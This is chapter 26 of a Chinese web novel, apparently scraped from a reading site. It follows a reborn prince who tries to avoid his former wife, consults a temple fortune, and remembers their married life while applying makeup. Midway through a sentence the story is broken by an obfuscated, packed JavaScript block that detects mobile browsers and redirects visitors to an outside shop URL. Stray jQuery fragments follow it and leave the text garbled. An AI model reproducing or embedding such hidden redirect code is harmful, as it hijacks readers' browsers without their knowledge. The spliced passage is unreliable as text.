26. 往事已成追忆
作品:《驸马攻略计划(gb)》 秦应怜一双盈盈剪水瞳眼波流转,鼻尖泛着嫩桃色,素白的玉手生硬地装作撩拨发丝的姿态,轻轻揩去眼尾的晶莹泪光,但闷闷的干涩声音还是出卖了他:“原来你以前也这么惨,先前都没听你提过。”
云成琰倒不觉有什么,一贯地神色如常,甚至语气平静地像在讲别人的故事,闻言也只轻笑道:“殿下糊涂了?这才是臣第四次和殿下说上话。”
他轻咳一声,掩饰说错话的心虚,都怪她害得自己来来回回地重复同一段生活,越过越糊涂,听得入迷了,又下意识以为自己还在上一世,同云成琰还是妻夫的时候,张口就是错漏百出。
一次两次便罢,多了怕是要被人起疑,看来自己以后还是要少出门见人。
思及此,秦应怜下定决心还是该离她远些,既已侥幸重新开始,就不能再因心软把自己推回轮回之道上,否则自己前几次丧命岂不是白白遭罪?
坐久了身子发冷,他站起身跺了跺脚,冻得麻木的手脚恢复了知觉,秦应怜便头也不回地走掉了:“你这人真不知好歹!行了,你以后也少往本殿下跟前凑,我还未出阁呢,你可别坏了我的名声害我嫁不出去!”
云成琰跟着站起身,张口欲言又止,举起一半的手顿住,一直到他走出视线,才缓缓收回。
那厢,秦应怜带着侍从挨个殿宇上供,也不管是拜的哪路神仙了,进殿便直挺挺地跪在蒲团上,双手合十,闭眼默默低语,也不怕弄花了妆,散乱了鬓发,额头结结实实挨上了冰凉的石砖,他就是修行时都不曾这般虔诚祈祷过。
他求的是老天再赐一段美满良缘,也不奢荣华富贵,只望能保他一世安宁,别因所托非人而年纪轻轻横死就足矣,至少不枉人世间走一遭。
秦应怜还就不信了,世上哪有在一棵歪脖子树上吊死四次的道理,这回也该轮到他转命了。
侍从跟在他身后,趁着四下无人,很是不解地低声同他私语:“殿下,依我愚见,云大人为人也挺好的,似乎并无不妥,您先前不是一眼就看中了她吗?这还是您好不容易才向陛下求来的,怎的好端端地突然便要悔婚了?”
秦应怜一脸高深莫测,挑了挑眉,轻哼一声:“兰蕙你不懂,知人知面不知心,我可是过来人了。”
兰蕙无奈地摇摇头,温柔笑道:“我的小殿下,您才多大年纪……”
话至此,他忽然感伤起来,低低哀叹一声:“也怪我见识浅薄,帮不到您,可怜您小小年纪,什么都不懂的时候,却得自己张罗人生大事……原本这婚事也该是长辈替您筹谋的,主子去得早,陛下…陛下政务繁忙,总有顾不上的时候…”
秦应怜并没有被他带跑情绪,不赞同地晃了晃手指,仰起小脸,很是傲气地叫嚷道:“你可别小看了我!总之信我准没错,离了这个又怎么样,我以后一定会嫁得世间最好的女子!”
兰蕙只当他是孩子气,含泪微笑道:“好,我家殿下福泽深厚,一定会如愿的。”
一一求拜过后,秦应怜又去求签卜了一卦,他话虽说得硬气,但更是自知自己有几斤几两,总是步步错,实在是走投无路,只好也开始寄希望于神明指点迷津。
签文的内容他已经记不得,为他解签的是一位瞧着资历颇深的老坤道,估摸着大抵和他母皇是差不多年岁了,讲话慢吞吞的,听得秦应怜都快要忍不住犯困。
他心中所问是姻缘,只是解签时道长并不要秦应怜明言,叮嘱他要自己细细琢磨,此事不能向外探,只能向内求。
签文解曰:“执念为茧,破则通途。执虚为实,覆则见真。莫向远方寻,归处即安处。”
秦应怜问:“道长,执虚为实又为何解?”
老道长微微一笑:“公子觉得,自己眼见便一定为实吗?”
秦应怜蹙眉,愈发困惑:“这是自然。”
她最后提点道:“公子切记一句,兼听则明。”
一直到回了府上,秦应怜仍觉憋闷不已,他那点少得可怜的银子就是丢进水里还能听个响呢,这神鬼之说果然还是信不得!青梧观里有一个算一个,全都是胡言乱语诓骗他的,就连肥猫都想劫掠他,甚至还可能碰上阴魂不散的云成琰,再不能去了。
马上便要到除夕夜宴,还不如正经想想怎么捯饬自己,在众人面前惊艳亮相来得更重要。
午后天气正好,灿金的阳光此刻正晒在梳妆台前,镜中映出美人素手纤纤对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215780|196642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
镜描红妆。
那双澄明的眼睛若盈着一汪春水,本是上挑之势的眼尾被低垂下的长而密的睫毛遮掩去了锐利锋芒,一双弯弯柳眉天然地微蹙,眉尾走低,更添柔弱温顺之态,颇有楚楚动人的韵味,生得一如他的名字一样惹人怜爱。
白净的指尖沾了一抹殷红点朱唇,冬日里干涩,需得对镜细细描摹才能匀称,温热的指腹擦过樱桃口,他忽得又不合时宜地想起云成琰来。
其实他和云成琰大多数时间里并没有那般水火不容,她对自己的坏脾气格外包容,以至于他总是放松了戒心,觉得自己不会再重蹈覆辙。
两人甚至会有新婚燕尔的甜蜜时候,云成琰仗着自己身手好,走路都没声,存着坏心思蹑手蹑脚地挪到他身后,趁着秦应怜低头挑选今天中意的口脂时突然冒头吓唬他,害得他一受惊,手一滑点到了鼻尖上。
秦应怜自是气不过,扭身就扑到她怀里撕扯,反被搂了个满怀,捉了腕子制住,云成琰此人便会很是不讲武德地咬住他的唇瓣,叫他这张刀子嘴起不了作用。炽热的呼吸交缠,直弄得他面红耳赤,喘息连连,肯答应休战乖乖告饶才能被放过。
再一揽镜自照,鼻尖上那抹红早在纠缠中抹匀,像兔子的粉鼻头。只是唇上红艳艳的口脂被瓜分了个干净,尽数沾到云成琰的脸上去了,回头瞧她那狼狈模样,秦应怜这才觉得大仇得报,得意地轻哼一声。
云成琰这时便会俯身挨近了,自觉地接过他手上的青黛,掌心微拢,轻柔地托着他的下颌,动作小心地仿佛捧的是易碎的珍宝,秦应怜只能感觉到衣袖带起的清风痒痒地拂面,等了好半晌,回身一瞧,连个影儿都没落上。
他想质问云成琰竟敢这般敷衍了事,她还低眉臊眼地扮无辜狡辩上了,说是怕自己手重弄疼了他。
话里话外都是为他好的意思,再追究反倒显得是自己没有容人之量,秦应怜只得悻悻作罢,拽着她握刀剑的糙手,亲自教她为夫人描眉梳妆。
待妆成,她又要拦着人作弄,非得把秦应怜惹急了跟她闹成一团,再从榻上滚回帐幔里,直弄得一塌糊涂才肯罢休。
天边卷起云霞,雀鸟归巢,原是一个平淡又宁静的午后。

